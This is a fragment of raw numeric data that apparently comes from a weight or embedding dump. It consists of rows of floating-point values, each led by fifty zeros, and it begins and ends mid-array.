0.0661, 0.9136, -0.5396, 0.09186, -0.0068, 0.8296, -1.801, 0.1348, -0.1294], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.441, -0.259, 0.7017, -2.55, 1.905, -0.4143, 0.3647, -0.1611, -3.994, -0.5205, -6.22, -0.02975, 0.13, 0.624, -0.3313, -1.664, 0.3813, -0.0745, -2.057, -0.975, -0.1919, -0.0745, 0.2725, -0.317, -4.11, -0.576, 0.7, -0.08295, -0.573, -1.206, 0.06616, -0.1119, -1.461, 0.4155, 0.1495, 0.02406, -0.1034, -0.151, -0.483, -5.293, 0.9634, -0.8164, -0.502, -1.537, -0.2046, -0.04297, 1.331, 0.1298, 0.3767, 0.586], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3735, -0.43, 0.471, 0.01768, 0.793, -0.4014, 0.2106, -0.03174, -0.9756, -0.2988, 0.2062, 0.00727, 0.4143, -0.1592, -0.2988, 0.5347, -0.44, 0.4465, 0.4495, 0.2654, -0.2045, -0.431, -0.5054, -0.05685, 0.8916, 0.517, 0.0928, 0.5273, 0.4348, 0.04202, -0.3184, 1.21, 0.3826, 0.2062, 1.572, 0.5093, 1.152, 0.166, 0.3782, 0.4036, 0.2715, -0.1033, -0.1417, 0.305, -0.0593, -0.0399, 0.516, -0.03192, -0.2969, -0.3013], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3384, -0.1277, -0.6973, 0.07965, 0.5454, -0.7095, -0.188, -0.6016, -0.2017, 0.017, 0.0672, -0.0474, -0.845, 0.2683, 0.1567, 0.9097, 0.9707, 0.3813, 0.3489, 0.122, 0.4124, -0.3267, 0.7974, 0.514, -0.1278, -0.3923, 0.0453, -0.2241, 0.356, -0.1495, 0.04947, 0.1954, -1.838, -0.01015, 0.2389, 0.1284, 0.6323, -0.4224, 0.09, 0.4443, 0.0999, 0.1209, 0.183, 0.1125, -0.0318, 0.008865, -0.1931, 0.222, -0.5674, 0.1401], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -9.14, -0.1509, 0.05975, 0.2461, -0.0986, 0.1388, -0.3157, 0.2153, -3.18, -0.262, 1.136, -0.04086, -0.0887, 0.1284, -0.169, -0.2808, -0.006893, -0.2964, -0.02116, 0.6807, 0.2307, -5.45, 0.2184, 0.0424, -0.1254, -1.072, -0.3, -0.2089, -0.0737, 0.1346, -0.09546, -0.55, 0.4302, -0.09314, -0.2307, 0.1967, 0.0409, -0.1064, 0.04544, -1.0205, 0.2266, 0.01527, -0.5845, 0.1829, 0.09827, 0.02559, 0.2344, 0.2056, -0.0655, -0.1606], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2318, -0.1901, 0.4202, -0.164, 0.5083, 0.11365, 0.2412, 0.3508, 0.1115, 0.04816, 0.5005, 0.0161, 0.104, -0.2216, 0.288, 0.0892, 0.1693, 0.1757, 0.002234, -0.3096, 0.2242, 0.09705, -0.1569, -0.01703, -0.4927, 0.236, 0.3452, -0.1677, -0.02483, 0.6294, -0.1469, 0.0656, -0.03802, -0.1337, 0.6978, 0.0007544, 0.74, 0.1302, -0.011185, 0.3853, 0.04105, -0.09766, -0.03244, 0.04584, -0.1986, 0.0377, -0.278, -0.1678, -0.397, 0.366], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0578, 0.0564, -0.1143, -0.10974, 0.2715, 0.12354, -0.1998, -0.04117, -0.2668, -0.01817, 0.2258, -0.05417, -0.604, 0.0893, -0.0794, 0.126, 0.01031, -0.2006, -0.1871, 0.5728, -0.085, -1.114, -3.18, 0.1661, -1.429, -0.1595, 0.1669, 0.00465, -0.1777, 0.134, -0.1752, -0.3665, -0.2576, 0.07855, 0.3628, 0.0543, -0.1897, 0.2404, 0.2458, -0.6797, 0.0361, -0.1675, -0.103, -0.626, 0.1476, 0.01061, -0.3032, -0.08374, -0.0742, 0.2695], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0376, -0.0525, 0.04172, 0.0403, -0.00793, 0.003325, 0.03094, -0.02487, 0.00565, 0.01848, -0.02834, -0.04657, -0.01631, 0.01388, -0.02777, 0.00284, -0.0434, -0.04175, -0.003677, -0.05197, 0.002605, -0.007015, 0.02826, 0.002926, -0.00749, -0.01013, 0.01572, 0.0225, 0.0241, -0.04614, -0.00697, -0.02388, -0.0391, 0.01762, 0.03207, -0.04596, -0.034, -0.00886, -0.05112, -0.01862, 0.0183, -0.00131, -0.03403, 0.03275, -0.02423, -0.00885, -0.004166, -0.01249, 0.01113, 0.02203], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5947, -0.0502, 0.462, -0.309, 0.6387, 0.00505, 0.573, 0.815, -2.16, 0.0744, -0.808, -0.0247, -0.8364, -0.5273, 0.0792, 0.4753, 0.4011, 0.0648, 0.1475, -0.793, -0.2408, 0.4287, -1.667, -0.214, -0.7285, 0.2264, -0.3433, -0.5117, -0.37, 0.1738, 0.2039, -0.1309, -0.2079, -0.246, -0.08356, -0.16, 0.1509, 0.3542, 0.3914, -0.824, -0.632, -0.0769, 0.0536, -0.1206, -0.7886, 0.0385, 0.528, -0.2244, -0.2915, -0.809], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.001641, 0.2822, -0.2063, 0.0414, 0.3496, -0.2113, 0.1819, -0.6724, -0.8843, -0.0716, 0.08746, -0.022, 0.2365, -0.11005, -0.241, 0.3855, -0.09357, 0.1687, -0.2191, -0.5386, 0.4402, 0.04166, -0.1631, -0.0641, -0.4712, -0.5244, -0.526, 0.3936, 0.1681, 0.5576, -0.02713, -0.4104, 0.002464, -0.0007443, -0.4504, 0.0701, -0.565, 0.5513, 0.3557, 0.6626, -0.2922, -0.1252, 0.09204, 0.067, -0.161, 0.01437, -0.695, 0.1793, -0.11304, -0.3892], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.3955, 0.1775, -0.1295, -0.3892, -0.2217, 0.2384, 0.1929, -1.786, -9.69, -2.158, -0.734, -0.0395, -1.488, -2.422, 0.7373, 0.005753, -0.0726, 0.974, -0.5815, 0.748, 0.1106, 0.2289, -3.918, 0.3145, -2.219, -1.8, -0.01461, -0.2191, -0.2512, -0.92, -0.5015, 2.678, 0.36, 0.2098, -3.004, -0.309, -1.414, -0.4175, -1.462, 0.965, -0.806, 0.0519, -2.719, 0.394, -1.173, 0.0183, -0.1764, -1.063, -0.2693, -0.2944], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.029, -0.704, -0.63, 1.075, 0.2588, 0.512, -0.1008, 1.329, -0.7227, 0.09076, -0.7183, -0.02454, -0.9883, 0.04062, -0.62, -2.15, 0.6665, -0.03177, -0.3457, 0.99, -0.7646, -0.133, 0.0235, -0.6816, -0.804, -3.164, 0.0824, 0.03674, 1.845, -0.0262, -3.21, 0.543, 1.094, -0.1902, -1.615, 0.1653, -1.886, -0.413, -1.227, 1.607, 0.647, -0.2039, -0.147, 1.176, -0.3135, 0.01756, 0.877, -0.1371, -0.8877, 0.993], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.121, -0.4128, -1.423, -0.9253, -1.269, 0.1511, -0.1754, 0.76, -0.729, 0.141, -8.36, 0.01557, -1.614, -0.39, 0.606, 1.152, -0.1704, -1.973, -0.1808, 0.10736, 1.329, 3.64, 2.639, -0.4597, 0.2769, 0.158, -1.969, -0.484, 1.01, 1.013, -1.919, 0.579, 0.3687, 0.1561, -1.048, 0.652, 0.0925, 0.172, 0.749, -3.848, -0.3745, -0.1608, 0.1954, 2.06, 0.5127, 0.01625, 0.1901, -0.128, -0.774, -2.738], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1696, 0.4487, -1.152, 2.697, -1.793, -0.9385, 0.6177, -3.135, -1.853, -0.02226, -1.523, 0.02904, -0.8657, -0.07654, 0.4812, -0.04037, -0.006786, 0.12494, -1.547, 2.066, 0.1934, -0.7783, -0.4382, -1.238, 0.1807, -1.406, -2.43, -3.05, -1.248, -1.663, -0.09515, 0.4714, -1.696, 0.4912, -1.0625, 0.38, 0.6333, 0.08984, -1.638, 1.687, -0.3757, 0.0872, -3.38, -0.9546, 0.108, -0.01773, -0.6943, 0.12384, -2.031, -0.3901], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.944, -0.8726, 0.28, -1.309, 0.1783, 0.04803, -0.667, -0.365, -1.154, 0.1385, -2.49, 0.0001659, -0.0657, -0.2434, 0.2238, 1.027, 0.2341, -1.166, 0.3008, 0.293, 0.3435, 0.0564, -0.426, 0.3127, 0.4592, -0.1261, 0.2489, -0.2423, 0.6304, 0.6406, -0.646, -0.5723, 0.6445, 0.0767, 0.2668, 0.641, -0.048, 0.552, 0.0809, -0.2161, 0.08234, -0.02574, -0.1317, 0.1412, -0.2325, 0.002281, 0.7725, -0.663, -0.09784, -0.703], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1124, -0.0387, -0.2324, 1.021, 0.3123, -0.543, 0.0869, 0.687, -1.738, -0.3271, -0.3037, -0.0428, -0.1718, -0.07043, 0.285, -0.01805, -0.11304, 0.05392, -0.02255, -0.2505, 0.178, 0.2295, -1.72, -0.3694, 0.07587, -0.05753, -0.0349, -0.12335, -0.3352, 0.1635, -0.219, -0.0775, 0.1136, 0.10675, -0.01945, 0.3816, 0.3071, 0.2013, 1.497, 0.1755, -0.1885, -0.1312, -0.1581, 0.6875, -0.0731, 0.01012, -0.0879, -0.564, -0.2214, -0.4392], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3276, -0.1499, -1.313, 0.732, -0.9775, 0.3284, -0.002342, 0.04483, -1.115, -0.0804, 0.1708, 0.0327, -0.2932, 0.2517, 0.0739, 0.03033, 0.00863, 0.5015, 0.3188, 0.0661, 0.0177, 0.3037, -0.964, -0.4714, 0.1339, -0.6245, 0.6025, -0.343, -0.2303, 0.328, 0.4363, -1.052, 0.3079, -0.2268, -1.45, -0.04398, 0.3647, 0.699, -0.673, -0.3176, -0.1725, 0.0867, 0.2625, 0.2192, -0.266, 0.03677, -0.2006, 0.04358, 0.03098, 1.414], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3916, -0.4111, -0.3445, -0.0954, 0.816, 0.001081, 0.2294, 1.269, 0.6113, -0.1399, 1.466, 0.00579, -0.391, -0.09283, -1.008, -1.123, -0.0175, 0.3284, -0.1265, -0.735, -0.08075, 0.3706, -1.213, 0.1649, 1.147, 1.393, 1.107, -1.891, -0.5674, 0.525, -2.143, -0.1259, 0.2252, -0.409, 0.636, 0.1963, 1.026, 0.3433, 0.03485, 0.121, 0.3418, -0.1918, 0.2856, 1.116, 0.5874, -0.03955, 0.0434, 0.8657, -0.1849, 0.519], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.386, -0.287, -0.8105, -0.04752, 0.4492, 0.2018, 0.01495, 0.02187, -0.2482, -0.3694, 0.2798, 0.013466, -0.3047, 0.409, -0.673, -0.9214, 0.8076, -0.1327, -0.475, 0.531, 0.914, 0.2559, -0.55, 0.2493, 0.918, -0.1908, 0.4536, 0.2002, 0.0761, 0.03177, 0.007706, 0.4468, -0.6694, 0.01512, 0.04376, -0.2289, 0.3809, 0.2333, -1.337, 0.275, 0.7095, 0.0556, -0.0352, -0.2498, -0.7124, 0.007458, 0.2268, -0.4185, -0.07684, 0.7017], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.003239, -0.3276, 0.1869, 0.02779, 0.5044, -0.26, 0.1927, 0.8115, -0.06094, -0.04538, 0.506, 0.012314, 0.1847, 0.01197, 0.3044, 0.982, -0.1614, 0.4985, 0.1169, 0.4893, 0.556, 0.676, 1.003, 0.3025, -0.889, 0.932, 0.8223, -0.662, 0.4482, 0.4543, 0.2329, -0.2058, 0.2703, 0.01761, -0.2915, 0.3086, -0.01994, 0.1434, 0.3125, 0.2078, -0.1833, 0.04306, -0.4048, 0.9365, -0.3833, -0.005276, 0.4604, -0.3967, -0.262, 0.4795], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1364, -0.078, 0.0599, -0.011955, 0.1051, -0.008, 0.0095, -0.03674, -1.273, -0.05005, -0.11163, 0.0344, -0.10565, 0.1141, -0.5913, 0.5684, 0.07526, 0.2152, -0.0769, 0.2351, -0.081, 0.09796, -2.143, 0.1696, 0.2008, -1.484, 0.1266, -0.2119, -0.1246, 0.05518, -0.1754, -0.06116, 0.7915, -0.2473, -0.2437, -0.10956, 0.7295, 0.2983, -0.2083, -0.0448, -0.1003, 0.1808, -0.5586, 0.1268, 0.00741, 0.0334, 0.787, -1.094, 0.1334, 0.06494], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1653, -0.1268, 0.2002, -0.06665, 0.4954, -0.206, 0.1227, 0.0836, 0.0418, -0.2627, -0.0901, 0.02744, -0.2358, -0.11444, 0.1443, 0.02824, 0.2534, 0.4333, 0.1691, -0.3499, -0.4294, -0.11945, -0.6694, 0.04996, 0.02979, 0.1048, 0.105, -0.1691, -0.1584, 0.2443, -0.3262, -0.2452, 0.3728, -0.2051, 0.2954, 0.1085, 0.0587, 0.1788, 0.2078, -0.1315, -0.1199, 0.03708, 0.04184, -0.0957, -0.04495, 0.04736, 0.23, -0.10205, -0.1398, -0.1495], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1118, -0.28, 0.3496, -0.1344, 0.6875, -0.526, -0.2964, -0.02374, 0.213, -0.2034, 0.9546, 0.01823, -0.2966, -0.2103, -0.1085, -0.2267, 0.466, 0.331, -0.2932, -0.02931, 0.01279, -0.04208, -3.312, 0.07465, 0.05576, 0.571, 2.035, 0.01941, -0.0691, 0.2394, 0.02516, -0.05402, 0.699, 0.13, 0.375, -0.1154, -0.7183, 0.4246, 0.632, 0.03043, -0.2399, -0.001706, -0.1798, -0.5117, -0.503, -0.00288, -0.1779, -0.427, -0.4329, 0.523], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1893, -0.11694, 0.548, -0.0936, 0.3757, 0.09155, 0.1967, 0.12006, 0.03757, -0.1802, 0.3374, -0.02055, 0.553, -0.2123, -0.06384, 0.010956, -0.223, 0.3977, 0.1427, 0.1858, 0.0415, -0.3025, 0.4521, -0.333, -0.41, 0.1665, -0.06915, 0.1711, -0.01979, 0.3406, -0.2037, 0.3196, 0.0639, -0.1609, -0.2998, -0.03937, -0.366, -0.04272, 0.2383, 0.544, -0.1372, -0.1965, -0.191, 0.3284, -0.07904, -0.02892, -0.2067, 0.0204, -0.2491, 0.188], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2693, -0.05255, 1.255, -1.513, 0.2334, -0.779, 0.3367, -0.4932, -0.3774, -0.265, 0.05472, 0.03026, -0.2922, 0.0002147, -1.519, 1.442, 0.4504, 0.4104, 0.591, -0.8174, 0.2487, 0.94, -0.1267, -0.749, -1.839, -0.2573, 0.2001, -0.908, -0.593, 0.506, 0.6924, 0.424, -1.694, -0.1536, -0.621, -0.7573, -0.6626, 0.5273, 0.1405, -0.2522, 0.2937, 0.2864, -0.625, -0.8076, -1.418, -0.04868, 0.5015, -0.2059, -0.561, -2.45], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1034, -0.10046, 0.287, -0.05823, -0.0862, -0.11914, -0.0956, 0.11566, -0.05472, -0.12146, 0.11224, -0.01123, -0.154, -0.05035, 0.05356, 0.361, -0.06216, 0.07605, 0.0564, 0.10834, -0.0479, 0.0002792, -0.1721, -0.2333, 0.02219, 0.03873, -0.02151, -0.1837, -0.0758, 0.1895, -0.29, 0.417, -0.02214, -0.1366, -0.2551, -0.03455, -0.2494, 0.2081, 0.0855, -0.08795, -0.1554, -0.02777, -0.0165, -0.0142, -0.0207, 0.0406, 0.1678, -0.02133, -0.1333, -0.1862], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1888, -0.5063, 0.01898, -0.402, 0.195, 0.1968, 0.208, 0.2827, 0.1445, -0.5376, 1.008, 0.03033, -0.1729, 0.369, -0.08374, -0.5996, -0.3035, 0.3074, 0.2673, 0.0737, 0.2964, -0.2778, -0.98, 0.2157, 0.1815, 0.2318, 0.4731, 0.12146, -1.009, 0.0917, 0.3992, -0.2396, -0.722, 0.05386, -1.494, 0.064, -0.6772, 0.2334, 0.3977, 1.524, 0.3242, 3.856e-05, 0.2145, 0.2817, -0.4546, -0.04764, 0.417, -3.486, -0.12225, -2.303], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1624, -0.322, -0.763, -2.475, 1.68, -0.10614, -0.1825, 0.586, -0.1442, 0.07965, 0.659, 0.0222, -0.7583, 0.06995, 0.747, 1.987, -0.2534, -0.2162, -0.1356, -0.863, 1.823, -0.3408, 1.703, -1.177, -0.3804, -1.032, 0.10333, -0.1932, 0.008606, 1.264, -0.9, 1.384, -0.1906, -0.7134, -1.216, 0.1362, -4.695, -0.4172, 0.7573, 1.208, -1.262, -0.07104, -0.0948, -1.717, 0.6426, 0.02847, -0.3809, -0.0553, -0.549, 1.05], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0836, 0.05057, -0.1261, -0.2068, 0.2703, 0.1372, 0.05814, 0.2852, -0.4216, 0.0547, -0.01135, -0.0412, -0.1633, -0.1742, -0.2406, -0.336, 0.1249, -0.1256, -0.582, 0.04047, -0.561, -0.006096, -1.579, 0.05292, 0.371, 0.2041, 1.033, 0.1654, -0.3162, 0.2019, -0.9536, -0.2267, 0.268, -0.3472, -1.072, -0.4705, -0.345, 